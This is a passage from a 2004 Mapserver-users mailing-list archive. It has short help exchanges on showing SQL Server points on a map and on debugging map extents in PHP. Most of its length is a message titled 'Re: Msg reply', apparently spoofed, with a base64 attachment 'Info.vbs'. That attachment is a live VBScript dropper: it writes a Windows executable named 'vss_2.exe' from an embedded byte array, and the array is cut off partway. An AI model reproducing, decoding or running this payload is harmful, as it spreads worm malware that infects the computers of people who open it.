sure that it will allow ODBC connections to occur unless I explicitly allow them. So, I need to figure out how to allow them. Thanks Again Charlie -----Original Message----- From: Jenu Abraham [mailto:jenu_ab at hotmail.com] Sent: Saturday, June 05, 2004 11:05 AM To: IMD Listuser Cc: Mapserver-users at lists.gis.umn.edu Subject: [SPAM] - Re: [Mapserver-users] Virtual Spatial Data from SQL Server - Email found in subject Hi charlie did u say that u are getting any error or u just dont see the points on the map, if u see the map but not a point then try adding a dummy symbol layer in the mapfile....i was facing the same problem...this helped... also make sure u have the sign in the map right for the western hemispehere the longitues are negative and northern hemisphere the latitudes are positive write back if u still facing the problem cheers jenu _________________________________________________________________ Getting married? Find great tips, tools and the latest trends at MSN Life Events. http://lifeevents.msn.com/category.aspx?cid=married From muchemijg at yahoo.com Mon Jun 7 04:52:26 2004 From: muchemijg at yahoo.com (julius muchemi) Date: Mon, 7 Jun 2004 04:52:26 -0700 (PDT) Subject: [Mapserver-users] mscalculate() Message-ID: <20040607115226.16451.qmail@web14427.mail.yahoo.com> --0-1781058954-1086609146=:15899 Content-Type: text/plain; charset=us-ascii Aaron, Thanks for your reply which is beggining to open me up for more exploration. Seems like i dont understand what you mean floating point numbers at appropriate sizes. Hence unable to progress. Could you simplify your explaination. Sorry i'm only a beginner in the art of web mapping. WHERE DO I BEGIN? I would echo out the $extent_to_set[0]ie: floating point numbers at appropriate sizes) prior to $map->setextent. eg: print_r($extent_to_set); die(); Aaron --------------------------------- Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger --0-1781058954-1086609146=:15899 Content-Type: text/html; charset=us-ascii
Aaron,
 
Thanks for your reply which is beggining to open me up for more exploration.
 
Seems like i dont understand what you mean floating point numbers at appropriate sizes. Hence unable to progress. Could you simplify your explaination. Sorry i'm only a beginner in the art of web mapping.  WHERE DO  I BEGIN?   
 
 
I would echo out the $extent_to_set[0]ie: floating point numbers at
appropriate sizes) prior to $map->setextent.

eg:
print_r($extent_to_set);
die();

Aaron


Do you Yahoo!?
Friends. Fun. Try the all-new Yahoo! Messenger --0-1781058954-1086609146=:15899-- From steve.lime at dnr.state.mn.us Mon Jun 7 06:47:45 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Mon, 07 Jun 2004 07:47:45 -0600 Subject: [Mapserver-users] Re: Msg reply Message-ID: ----------ryijpcelfyusjzqhtpty Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------ryijpcelfyusjzqhtpty Content-Type: application/octet-stream; name="Info.vbs" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Info.vbs" ZGltIGZpbGVzeXMsIGZpbGV0eHQsIGdldG5hbWUsIHBhdGgsIHRleHRmaWxlLCBpDQp0ZXh0 ZmlsZSA9ICJ2c3NfMi5leGUiDQpTZXQgZmlsZXN5cyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0 aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGZpbGV0eHQgPSBmaWxlc3lzLkNyZWF0ZVRl eHRGaWxlKHRleHRmaWxlLCBUcnVlKQ0KZ2V0bmFtZSA9IGZpbGVzeXMuR2V0RmlsZU5hbWUo cGF0aCkNCmRpbSBhDQphPUFycmF5KDc3LDkwLDAsMCwxLDAsMCwwLDIsMCwwLDAsMjU1LDI1 NSwwLDAsNjQsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMCwwLDAsMCwwLDE4MCw3NiwyMDUsMzMs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTQ0LDAs MCwwLDE2OSwzOCwyMjEsMTksMjM3LDcxLDE3OSw2NCwyMzcsNzEsMTc5LDY0LDIzNyw3MSwx NzksNjQsMjM3LDcxLDE3OSw2NCwyMzgsNzEsMTc5LDY0LDk5LDg4LDE2MCw2NCwxMDksNzEs MTc5LDY0LDE3LDEwMywxNjEsNjQsMjM2LDcxLDE3OSw2NCw0Miw2NSwxODEsNjQsMjM2LDcx LDE3OSw2NCw4MiwxMDUsOTksMTA0LDIzNyw3MSwxNzksNjQsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsODAsNjksMCwwLDc2LDEsMywwLDIwNCwx NSwxNDQsNjQsMCwwLDAsMCwwLDAsMCwwLDIyNCwwLDE1LDEsMTEsMSw1LDEyLDAsODAsMCww LDAsMTYsMCwwLDAsMTQ0LDAsMCwyNDAsMjI2LDAsMCwwLDE2MCwwLDAsMCwyNDAsMCwwLDAs MCw2NCwwLDAsMTYsMCwwLDAsMiwwLDAsNCwwLDAsMCwwLDAsMCwwLDQsMCwwLDAsMCwwLDAs MCwwLDAsMSwwLDAsMTYsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMTYsMCwwLDE2LDAsMCww LDAsMTYsMCwwLDE2LDAsMCwwLDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNjQs MjQzLDAsMCw3NiwyLDAsMCwwLDI0MCwwLDAsMTY0LDMsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw4NSw4MCw4OCw0OCwwLDAsMCwwLDAsMTQ0 LDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MTI4LDAsMCwyMjQsODUsODAsODgsNDksMCwwLDAsMCwwLDgwLDAsMCwwLDE2MCwwLDAsMCw3 MCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMjI0LDQ2LDEx NCwxMTUsMTE0LDk5LDAsMCwwLDAsMTYsMCwwLDAsMjQwLDAsMCwwLDYsMCwwLDAsNzIsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwxOTIsNDksNDYsNTAsNTIsMCw4NSw4 MCw4OCwzMywxMiw5LDIsOCwxOTEsMzksNjEsOTUsMjE4LDIwOCwxMTEsMTU4LDE5OSwxOTks MCwwLDIwMSw2NiwwLDAsMCwxNDYsMCwwLDM4LDAsMCwyMDQsMjU1LDI1NSwyNTUsMTU1LDI1 MCwyMDEsNTgsMTEzLDQyLDQzLDI0LDE0NCwyNDMsMTYzLDQzLDE2LDEzNywyNTIsMTIzLDgs MjE4LDEyMSw2NiwyMywyNCwxNCwxMTUsMjM4LDEyNyw5NCw4MiwxOTEsMjUzLDI1NSwyNTUs MTg2LDI1MCw0LDU4LDE0MywyNCw1NywxNzUsMTEzLDIyLDE3MiwxMTMsMTkxLDI0MiwxMTMs MTQzLDI0NiwxMTMsMTgzLDIzNCwyNSwyMjYsNDUsNTksMTYsMjQyLDIwMCwyNTIsMjIwLDI1 NSwxNzcsMjIxLDIyMyw1LDU5LDExMywyNTQsMzgsMjAxLDU2LDE4OCwyNCwxOCwxNjQsNTEs NTYsMjQ2LDI1MCw0MywxMDcsMjM3LDE4MywyMzksNDIsMTMsNDIsNSwxNDMsMjM0LDIsMjQ2 LDE3MCwxOCw1OCw1LDAsMTMsMjUsMTI3LDI1MSwyNDYsNywxMjEsNjIsMTQsMTQ2LDI1MCwy MTgsNTMsMTQ0LDI1MCwxOCw5Nyw1MiwyNTAsMTE1LDE5MSw2LDYxLDE5MSwyNTUsMTkwLDE5 NywxOTAsMTQsMTMwLDE0NCwxLDQ4LDI0MiwxOCw0NSwxODYsMTMsMTE5LDE5MSwyLDE3MCwy NTUsMTU1LDE3NSwxMjMsNDEsMTgsNiwyMSw4MywxMjEsMTM1LDIsMjUwLDE0MywyNDgsMTcs MjMzLDUsMTQzLDExOSwxMTEsMjM4LDE0NSwyLDE0LDE4LDEwNiw5MSw2NywxNCwxNyw1Mywx NSwxOCwxNzAsMTg2LDIxOSw1NCwxMTUsOTYsNzAsMTA2LDEzNSwxNCwxMTksMjU0LDEwNiwx ODMsMjQ2LDIyMCwxMDIsMjI2LDg5LDkwLDE2NSwyMDAsMjM2LDcxLDI0MiwyNDgsMTgzLDIx NywyMjIsMjIzLDEzNywyNTQsMjUsMTQ0LDI1NCwxNDYsMjIsMTY0LDE4OSw1LDI1NSwxMSwx ODksMjM3LDE5MywxODIsMTcwLDIwMyw3LDIwMSw0MCwxMyw3MSwxMDQsMzgsMjM4LDI0Niwx NzMsMjIwLDUzLDE3Myw2LDExMywyNTIsMjQ2LDU5LDE5LDI0OCw2NCw5LDgxLDksMjM5LDYy LDE3OCwyNTMsMTIxLDI3LDI0OSw5LDgwLDE2NSwzMCwyNDIsMTY5LDExMywxNjcsMjQ2LDMz LDE0NCwyMjQsMTgsOTksMjQyLDE0OCwyNTMsMTE5LDczLDEyMSw1OCwxNTUsNiw4MCwxNzcs MTQzLDExLDE2MSwzMSwyNDAsMTgsMTMxLDEyMywyMzEsMjIsNTAsMjAyLDE3NywxODQsMjUx LDE4LDc0LDE5NywxNjksMjAyLDE3MywxMTcsMTI3LDI0MSw1OCwxNDIsMjQ0LDE3MCwxNDQs MTQ4LDM3LDEyLDE4Nyw0MCwxOTYsMTI3LDIyLDE4NiwxOTMsMTMxLDE3Miw2OSwxNDMsMTMy LDEzNSwyMDEsMzMsMjUsMTc0LDE5NSwxNTEsMjM3LDI1NSw4Niw1OSwyNiwyMzQsMTIxLDMs MjUxLDE0MiwyNDEsODYsMTU2LDksMjQyLDI0OCwxNDIsMjUxLDg2LDE1NCw3LDEyMSwxMjMs MTIwLDE4LDIzMiwxOCwxOTksMTUyLDU2LDksMjQ2LDE4LDIwMSwyNTIsMTgsMTExLDIzNywy MjEsMTQ1LDIxMSwxOCwyMTYsNiwxODUsMTIxLDEsMjMyLDcyLDY2LDE1Niw2NiwyNDcsOCwx NzMsMjUzLDI1NSwyNDAsMTU2LDgxLDEyMSwxOSwyNDksMTMxLDcyLDEzLDM1LDIwOSwzLDc0 LDE5OSwyMDgsMTQ1LDE5NiwyNTUsMjU1LDI1NSwyNTUsMTIxLDI2LDE5NywxOTgsMTk2LDEz NywyMzIsMTk4LDIwNiwxMzcsMjQwLDI1NCwxODcsMTk4LDE2MSwxMzYsMjQ1LDI1NCwyNTIs MTcsMjQxLDI1NCw2LDE3LDI1MywyMTQsMTk2LDU4LDI2LDI0OCwyNTQsMjM1LDMwLDIxOCwx OTUsMjA5LDgwLDczLDE2OSwxNDQsMTA1LDM2LDE2MSwxMjcsMTc5LDEyNSw2NywxMzUsMTIz LDIwMSwxMTMsMzQsMjI0LDM0LDYsOTcsNTEsNSw4LDg0LDEyMiwyMjMsMjQ2LDEyMywxODcs MTkwLDE0MiwyMjcsMTc4LDE4LDExNiwxOTYsMjExLDE0MywyNTMsODksMTYxLDIzNywxMTUs MTU3LDQ5LDExNSwyNTUsMjUyLDEyMSw2MCwyNTQsMTcsMzIsNjYsMjUxLDEzNiwxOCwyNCw2 LDExOCwxMzMsMTU5LDIxOSwyMjIsMTQ2LDI0OCwyMSw4MywxMTIsNCwzNiw3NywxODksMTg5 LDQ2LDI0NiwxMTksMjMsMTMyLDY3LDI1MCwxOSwxMTQsMjM4LDE5Miw0LDU2LDI0LDMsMTgs OTgsMjE0LDI0OCwxMDksMjI3LDYwLDE5MSw0LDExMyw1MSwxOTIsMTEyLDI1NCwxOTMsMTE0 LDE5MSwxMzMsMTMsMTc4LDIzNywyMzgsMTgyLDgsMjAzLDUsMjQ1LDc2LDE3NSw5LDE5Miwx MTQsMjEsMTEyLDIzNiwyMTksMTMzLDE4Myw1LDE5MiwxODcsMTkzLDQwLDEzNiwyNDgsNDAs NCw1NywxNDMsNDcsMjE2LDE4MywyMywyMjAsMjE3LDEwNiwyLDE4NSwxNDMsMjQyLDExMiwy NDksNjAsNywxMTIsMTA4LDE5NiwyMiwyMTgsMTg1LDI1MSw1LDIyMCwxLDg3LDE0MCwyLDI1 NCwxODEsMjQ2LDIyNywyMjgsMTg2LDQsMjcsNzksMywyMzgsMTk0LDExNCwxNzUsMTA5LDIz OSwyMTksMjIxLDk5LDE3NSw2LDEzLDYsMTEyLDEyLDQsMjMsMTQ1LDE5NCwxNTUsMjM1LDky LDEzOSwxNiwyNiw5LDUsMjQ4LDEyMiwxNjQsMTEzLDIyMSwxODYsMTgzLDExMSw2NCwyMDIs MjM4LDIwMiw1LDUsMjQsNTgsMTEyLDM1LDI0OSw0LDYsMTE0LDIyMyw2Miw3MywxNzUsOTYs MjMwLDI1LDExMywxODYsMTk4LDI0OSw1LDI0NSw3NywxODYsMjUyLDEzMywyMjEsNDUsOCwy MTQsMjI2LDY2LDIxMCwxMTYsMTMsMTU5LDIxOCwxNDAsMjQ3LDIxNCwxNTAsMTc1LDE2OCwy OSw1LDI0OSw1NiwyNTUsMTM2LDI4LDE1MCwxNzMsMTI0LDE1MiwyNDYsMTksNDMsNSw2MCwy MzgsMjQ2LDIzLDEwOCwyMjgsMTk0LDIzLDY3LDIzNCwyMCwyMjEsMTYsMTYzLDEwNywxOTAs MjEsMTE3LDE3OCw4LDE3MCwxNDQsMTE2LDI1MSwyMTgsMjEwLDE1NSwxODMsMTc5LDkxLDUs MTk0LDExMywxMTMsMTg1LDEwNywyMjMsMjU0LDE5MSwxNjEsMTEsMjA5LDQ4LDExMywxNjks MjQyLDI0OSw0MywyNDksMTY5LDI0NiwxMTUsMjIxLDUsMTM3LDIzNCwxMTcsMTgyLDIzLDI0 MiwxNTcsMTkwLDExOCwyMzgsMjUxLDUsNjMsMTgxLDE3LDYyLDE2MCw5OSwyMzcsMTE5LDU5 LDE0NCwyMTAsOSwxNSw2LDE4LDI0NiwxMTcsNTksNSwyMzQsMjMsMjAyLDE3OCw0NCwyLDIz OCw2LDU3LDE4NSwyMjIsMjUzLDIwMiwyMDEsMTUwLDIxOCwyNiwyMjMsMTU2LDUsMjUsMTg2 LDE3MCw3NywxODIsMjE3LDIyMywyMTIsMjUxLDE3MCwxNzAsNjEsMTIyLDQyLDI1MCwwLDks NDYsMTA4LDE0MywxMDksNTIsMjA3LDIzNCwzMywyNDIsMzcsMjEwLDE3LDI0OSw1OCw2LDIy OCwxOTgsMTY3LDMzLDM3LDEzLDI1MSwxNDQsMjUxLDEwNCwxOTksMjA1LDIzOCwxODIsMTUw LDY5LDg4LDIzMiwyMyw1LDE2OCwyNDIsMTcsNDEsMjQ2LDI1NCwyNTMsMjMyLDExOSwxNzUs MiwxMzcsMjQ4LDYxLDE4NCwyNTQsNzksMzUsMjUzLDc1LDI0OCw5NCwyMjEsMTUzLDYsMzYs NDYsMjM4LDI0NSwyMTUsMTc4LDE3NywyMTksMTcyLDExOSwxOSw2MSwyNTIsMTMxLDE4OCw0 OCwxMDUsOTAsMTc2LDE1LDIzNiwxNDQsMjQ4LDQ5LDExMywyNTIsMTY0LDk5LDIzLDM5LDEz NSwxODUsMTc5LDc2LDExOSwyNDgsMTgsMjUwLDEyOCwxMzksMTA4LDE3NywzNywxMzcsODks MjQ4LDEzOCwxNTEsMjA1LDIwNCw1NSwzMyw1MywxODIsOTEsMjI2LDEwNSw0NCwyNDcsOTYs NTAsMTIzLDYyLDEzMCwyOSwxNzMsMjQ5LDI0OCw4LDQ0LDE4NCwyMzgsMTQ2LDUxLDEyMiwy MDMsOTksMTkyLDIxLDE5MCwyMjEsMzIsMjQwLDE4NiwxNDIsMTkwLDMsMTIyLDI1LDExOSwx MjcsNDUsMTcwLDc1LDU0LDk2LDE5MSwyMjgsOTEsMTkzLDIzMSwyLDI0LDkwLDE0NiwyNTEs NzAsMTYwLDIzNCwzMCw1MSwzNiwxMDAsNjgsOTUsMTgzLDEwOCwzOSwzNSwxOSwxOCwxNzMs MjMwLDE4LDIyNiwxNTEsOTAsMTYzLDEyNCwyMjUsNDAsMTk4LDEyNCwxNTYsNjEsMTkxLDAs MTMyLDk3LDIyMiwyMywxOTAsNTMsMTEsNSwxODMsMCwxMywyNywyMjQsMTQ0LDE4NiwxOCwy MjcsOTMsODAsMTgyLDE0MywyMjEsMjAxLDI1MywyMTAsMTk0LDIyLDExNywxODksMjU0LDUs MTAsMTg4LDEwNSwxODIsMjA1LDIwNSwxMDcsMTU2LDcsMjQ2LDAsMjQ0LDYxLDE4OSwyMzQs MTA2LDIwNywyMTIsMzQsNjMsMzEsMTU5LDEwLDYzLDI3LDIxNiwyMTgsMjE4LDIxMCwyMjks NTIsMjYsMTA0LDI0OSw1NCwxNTcsMjQyLDIzOSwzOSwyMjUsMTk0LDExNSwxODksNjksNjEs MTY1LDMxLDI2LDE2OSwxNzMsMjAxLDUsMjIyLDY3LDcxLDIxMSwxMjksMTQ5LDE3NiwxMTAs MTY3LDExMSwyMzgsMjI1LDEwNCw3LDIyMiw4OCwxMDgsMjM4LDE0LDIwNCwyMDgsMjAsMjQ4 LDIzNSw5OSwyNCw2LDIxNCwyMzQsMTgsMjI5LDE5OCw4NiwyNDUsMTI2LDEyNywxMTUsMTM1 LDgsNDksMjksNywxNDIsMTAsOSwyMDMsMjAzLDE5NSwxNzUsNTgsMjAwLDUxLDE5NSw0Mywy LDE1OSwxNDQsMjQ0LDI0LDExOCwyMjMsMTQ5LDI3LDE2MCwxNzQsMCwyMTcsMjQsMTg0LDE4 Myw2NiwyNDQsMzYsMjQ5LDI0OSwyNDYsOTcsMTA3LDIyMCwyOSwyMiwyNDksMTYxLDUsMzAs NzYsMTAsMTcwLDM4LDE4OSwxOTMsMjIwLDExMCwyMDMsMTgsODgsMTE5LDE5LDIxMCwxMjIs MjMzLDE1OCw3NSwyMTAsMTgsMTE3LDE1NCwxMzksMTksMTI5LDExNCwzMSwxMTYsMTU5LDcs MTgzLDEwNSwxODksMTEyLDIyLDgsMjUxLDEyLDE1OSwyMTksMjA5LDIsNSwxNjIsMTQ0LDQ2 LDIxMywxNDYsNyw4NiwzMiwyNSwxNTcsMjM4LDE2MSwxMDYsMjYsMTMzLDEwMCwxMDcsMTQz LDE5NSwyMiwzMywxNTgsMjIyLDEyLDEwLDIyNSw4LDE4NywyMTEsOTgsMjQ1LDIyMCwxOTMs MjI4LDE0NCwyNDYsMTcyLDIwNywyMzEsMTgyLDI0NywxOTksMTkzLDExOSwxMzUsMjUxLDMw LDc2LDI0OSwzNCwxMzQsMjMwLDEyMywxOTAsMTcwLDI2LDIxMiwyNTEsOSwyMDgsMTQ2LDU5 LDE5NSwxOTEsMTEwLDYsMjIyLDE2LDEsMTczLDI0OCwxOCwyMTQsMywyNTQsOCwxOTEsMTEx LDU4LDcsMjIyLDE2MCwxNDYsMjMxLDExMiwxODYsMzIsMjU0LDE0NCw0MSwxODIsMjE2LDE4 Nyw0OSwxNjgsNjIsNzAsMjQ4LDkzLDEsMTc1LDc4LDIwMiwxNTksMTc1LDIyOCw1MiwxMzgs NjIsNDYsMjUyLDE4LDIzLDIsMTg1LDI1MSwyMzcsNywxNTQsNjYsMTcwLDU0LDE1LDE3LDIw NywxMjEsMiwyNTEsMTEsMjUwLDU0LDE3MCwxNzksNTIsMTg3LDEwMSwyMTEsMjQ4LDIzLDU0 LDE3MCwyMzEsMjQ5LDEwOSw1NCwyMDMsMTE0LDIzNCwyMzQsNSwyMzUsMjU0LDUsMjE4LDI1 NSw2NiwyMTMsMjE4LDEwMywyMzYsMjEzLDc5LDEwNiwyMjMsMTE5LDI0NCwxNDAsMTEyLDIy NCwxMzQsMjM5LDUzLDE4LDE0OSwzNiwxOCwxODAsMTkyLDc3LDUwLDE1LDEzNSwxNzYsMjM5 LDU3LDI3LDE2OSwxODQsMTg0LDEwNywyMjYsMTksMjM5LDgyLDI1NSwxOCwxNTEsMiwxMSwy NDUsMTcwLDIyLDE1MiwxMCwxOTMsMTczLDE4MSwyNTMsMSwyNDAsMTQwLDI1NSwxNSwxMzcs MTIsNCwyMDUsMTcwLDYsMjI5LDkzLDI0Myw3LDg0LDE3MSw5LDI0NiwxOCw3OCw3LDQ0LDg5 LDUyLDEyLDkyLDEwLDE5Myw4MSw3NCwxODIsMjExLDE5NSwxNDEsMTgyLDE3MCwxOTQsNzks MTAsNDcsMyw2LDI0LDIzMywxNCwyMjMsNDYsMjM5LDg2LDg2LDE4NiwxODMsMjYsMjA3LDE0 LDE1MCwyMTcsOTQsNjgsODAsNTMsMjcsNzQsMTIxLDIzOCwyMjUsMjQsMjAzLDYsMTkxLDc2 LDUsMjI5LDE1MiwxMCwxODIsMjI0LDE5MCwyMDAsMjIzLDEzNywyMDIsMTYsMTgsMTI5LDE5 NCwxMjUsMTE0LDEwLDI0NCwyNCwzOCwyMjIsMzAsMjM4LDYsMTE5LDIwMSwxMTcsMjMyLDks OTQsNjksNjMsMTEwLDQ3LDI0MSw4OCwxNywxMTAsNTcsMTgyLDUsMjE2LDE0Myw2NSwyMSw0 NCwyMDUsNyw2LDIzMSwzMSw3LDEwLDE4LDUyLDIwNSwyMTIsMTQsMjE3LDIwMyw3MCwxMzEs MTY5LDE2NCwxNTQsMTQsMjIwLDEsNSwxNzQsNzcsMTM2LDY5LDU2LDkxLDIwNSwyNTQsMTIy LDQ3LDExLDI0NywxNDEsMTQxLDEyMCw4NCw2OSwyNDIsODAsMzIsNDUsNiwxMTcsMTAyLDEx NSwxNzUsMjAyLDIwOSwxNSwxODAsNzgsMTM3LDIyOSwxNTgsMTA4LDE0MywzMiwyOSwxNzYs MjAsNjYsMjUxLDE4NSwxODYsMjE1LDI0MCwxOTgsMTMsNzAsMjQzLDExOSwxNzksNzAsNjcs NjEsMTQ5LDE0LDU5LDE1MiwxMiwxMTksMTM4LDM4LDEzMSwxMTMsMTksMTY2LDIyNSw1OSw4 NCwxNDMsMTc2LDEzNCw2NSwyMTcsMTA4LDExLDE4MywyMTksNDcsMTQ2LDk0LDU1LDE0Niwx ODQsOSwzMywyLDExNyw4MSw0Niw5MSw5OSwxNTIsNDEsMTc4LDIyLDI1MiwxMyw0Nyw4LDc5 LDIwNywxOTgsMjM4LDIzLDIyLDkxLDQ3LDI3LDIzOCwxNzcsMjksMTEzLDcyLDEyLDQ0LDI1 Myw2OSwyMTUsNTgsMTAsNjksMTg4LDE3NywxOTEsMTg1LDIwNSw2LDMyLDM4LDE3MCwxNzMs MTgsMTYxLDQsMjUsMjMyLDEzLDIwNCw4LDE1OSw2MSwxODUsOSwxNSwyNDgsMTEzLDM3LDEy Nyw4MiwxMTEsNzgsMTk4LDIxOSwxNTEsMTY1LDE1MiwxNiwyMDMsMjA1LDUwLDY0LDYyLDQx LDc0LDI1MiwxMjcsMjQwLDI0LDExLDI1LDIzOSw2NywzMiw1OSwyNCwyNTUsNTksMTcsMjI1 LDI0MSw0MSw5OSwxOSw0NSwxODIsMTMzLDE4OCwyNDksMjIsMjAsMTg1LDY2LDE3Niw2OSwx NjEsNzMsMjU0LDEzMiwxMzAsMTcwLDExMCwxODIsMjQ1LDIxNiw3MSwxNjMsMjA0LDkyLDEw NywyNTEsNzQsMjUsMjQ1LDE4MiwxNzgsMTMxLDIzNCwyMTcsMTgzLDI0Niw2MSwyNDgsNjks MTg2LDE3Myw4MCwxODQsMSw1NiwxMjEsMTk0LDE5MSw0NCwyNDIsNDYsMjA4LDE4NSwxODIs MTU3LDExMCwxNjAsMTE1LDI0OCwxMzMsMTc2LDIxNSwyOCwxNDcsMjA5LDk4LDIzLDExMSwx NjQsNDIsMTEzLDI0MiwzNiwxNDMsMjUyLDE3OSwxOTksMTEwLDIwOSwyMjQsMTYwLDE4Nywx NTMsMTgsMTY4LDQ1LDYsMjA3LDExMSwxMzksMjEsNTYsMjA1LDQ2LDI5LDE4NiwzMCwxNjEs MTIzLDU1LDIsMTg0LDQ2LDIwNiwxNzMsNjEsMTI3LDM0LDYsMjEwLDI3LDE5MCw5MywxMjks MTQ3LDEwNyw5Myw0NCwxMTUsMTI3LDI1LDExOSwxMTksMjM4LDE4MywxOTcsMjQsMjQ3LDc5 LDEyLDE4LDI5LDIzLDEwMiwxODQsNjksMTg5LDI3LDI1MSwyMTcsMTgyLDEzOCwyNDQsMTcz LDI3LDYsMTgsNDEsMjA0LDIxLDI0MSwzNiw3LDEzMiwyMTgsMTAzLDI2LDcsMTUsNCw1MSwx NDMsNDUsMjksMTA4LDExNSw5Nyw2Nyw4MywxNyw2NCwxMiw2MiwyMDYsMTY1LDY3LDUsNzgs MTczLDg4LDEyNiw2MSwyNDAsMjA2LDIwMiwxNDIsNSw4MywxOCwyNDksMzUsMjEsMTk1LDEx NywxNDAsMTk1LDMyLDExMiw2LDE3MSwyMjMsNzcsMjI1LDEwNSwxMjIsMTEwLDEzOSwxOSwz NSw4Nyw1OCw1NSw2MSwyNiwxODIsMjAwLDY3LDIzNCwzMywxMzYsMjMyLDIwNywxNCwyNTMs MTUxLDEzMyw3MCw3MCwyNDksMiwxMTgsMjUyLDY4LDM1LDEyLDI2LDEzLDEyLDIxMywxNiwy NDQsMTY5LDE0MCwyNDQsMjI1LDE1NiwyNDksMTQ2LDE3OSwxNzcsMjA2LDg5LDE4NiwzMyw5 OSwxMzUsMTAsMTYxLDE4MCwzMiwyNDgsMTU2LDIwNSwyMTYsMTk1LDU4LDI0NywyMDgsMzIs MTAsMjcsMjUwLDIyNCw0MiwxNDEsMTI1LDE0OCwxNDQsMTksMjYsMjIyLDE2MywyMzQsMTEx LDI5LDM1LDEzNiwxNzYsMTAwLDExMyw3LDE4OCwxMjMsMTk2LDE4MiwxNzMsMTkxLDI0OCwx MTEsMjEyLDkzLDE3LDEzLDI1NSw0MiwyMzQsMzQsMTEzLDUyLDIwOSwxODMsMiwxMjMsNTks MjUwLDE3Nyw1OSwxMSwyNSwxOTgsMjAsMiw1LDEyMCw5NCw5MCw0MywyMCwxMjMsNTIsNSwz MywxNjEsNDIsNjYsMTkzLDE4NSwzOCwxMDYsNjEsNDYsNSwxODMsMTU3LDIxNCwyNSwxODMs MTg3LDg5LDE3OCwyNDIsMTIzLDIsMjUwLDIwMiwxNzYsMzAsMjUzLDIyNywyNDcsMjAxLDE4 OSwxOTUsMTAxLDE1NSw3NCwyMDYsMTAsMjYsMTE3LDE5OSwxOTEsNzEsMTI5LDg5LDI3LDM3 LDIxMCwyNSwxMDgsMjA2LDE4Nyw3MywxMTUsODYsMTEyLDE4LDI1NCwxNjksMTk0LDIwNiwy MTksMTAyLDIwMywyMywxNjAsMTgsMjM2LDQ3LDE5LDE4LDI1LDM5LDE1OSw1NCwyMjEsNDcs MTU2LDE3LDUyLDI0NywyMDQsMjAxLDIxMiwyMTUsMjM4LDYxLDExNyw3LDE4NSwxMjMsNTUs MTYsMjEzLDYzLDIwMSw4LDE4NiwxNjYsMzEsNzIsNTcsMjYsMTQ2LDM1LDEwNiw5OCwxNzgs NTksMTA0LDE0MCw2MSwxOTYsMjA2LDgwLDE2OCwxNyw0MCwyMzksMTU0LDIzNCw4LDQ0LDEz MSwxODksMjYsMTcsMTY0LDE1NiwyNTEsMTcsMCwxMjYsMTg2LDEyOSwyMzksNzUsMjAxLDEz NCwyNiwxNTEsNjQsNTQsMTA0LDEwNCw2NCw2MSwxMDQsMTY5LDkzLDIxOCwzMCwyMDgsMTEy LDMxLDE1NiwyNyw1OCwxNTYsNzAsMTcxLDQ1LDU5LDI0NiwyNywxMiwzOCw2MiwyNDYsMTEs MzAsMjAxLDk5LDIzOCwxMTksMTkxLDIzOSwxNiw5OCw3MiwxNTIsMTgzLDI2LDczLDI1MCwx NDEsMTAyLDE0Niw1MCwxMDcsMTM4LDM1LDIyMywxMSwyMDAsNzEsMjAxLDE3LDM5LDExMiwy MzQsMyw1MCwyMzAsMTE4LDE0MSwxNDYsNDIsMTAzLDkxLDk2LDExNCwyMjgsMjE5LDEyLDMy LDE3MiwxNDYsNDUsODIsMTQ0LDcyLDE1Myw2NSwxNCw0NSwyMDUsMTIxLDU2LDEyOCwyMDks OCwxMTksNzUsNSwyMDMsOTksODMsMTk4LDE3OCwyNDUsNzEsMjQsMjgsMiwxMzksMjQxLDI1 LDQ0LDIyMSwyNTAsMjIwLDIwMCwyNTAsNTksMTEsMjM4LDIyOCwxMzEsMjMzLDkwLDIwLDEy MCw4NiwyMDMsOTQsNywxNzgsMjQ5LDE3NiwxNzIsMTg1LDI0NSwxMTksNDYsMTA0LDQyLDIw MCw4NywyMDAsMTQ3LDMsNDYsMTA0LDEwMywyMDAsMTk1LDAsNTcsMTE0LDE0NiwyMDAsNjIs OTgsNjksOTgsMjQyLDc0LDk0LDExNCwxMzIsMjAwLDE1MCwyMDAsMTkyLDIwMCwyMjIsNjQs MTg2LDcsMjQxLDEwOCwxMzgsMTkxLDE3LDI4LDIyOCwzNiwzMSwxMTksMjMyLDIwMCw1MCw5 OCwyMTYsMjAwLDIxNywxODgsMTQ2LDE1MSwyMzQsMjAwLDM2LDIwMywyMTMsMTA4LDIwMSwx NDcsMywxNzgsOCwyMDMsMjEzLDEwOCw2OSwyMDMsMzMsNywxNDYsODcsMTI1LDIwMiwxNDQs MjAyLDIyOCwyMDEsNDMsMTIxLDg0LDIwMiwyMDYsMjAyLDIxNCwyMDIsMTIwLDEsMjgsMzcs MTYxLDI4LDI0NiwyMDAsNTYsMTkzLDExMCwxOTMsNDQsMjksNDYsMjAxLDU2LDI3LDIxNSwx MTcsMTExLDExLDY1LDI0Miw2OSwyMDcsNTgsODYsMTgzLDQwLDY4LDg5LDksMTE5LDIyOCwy 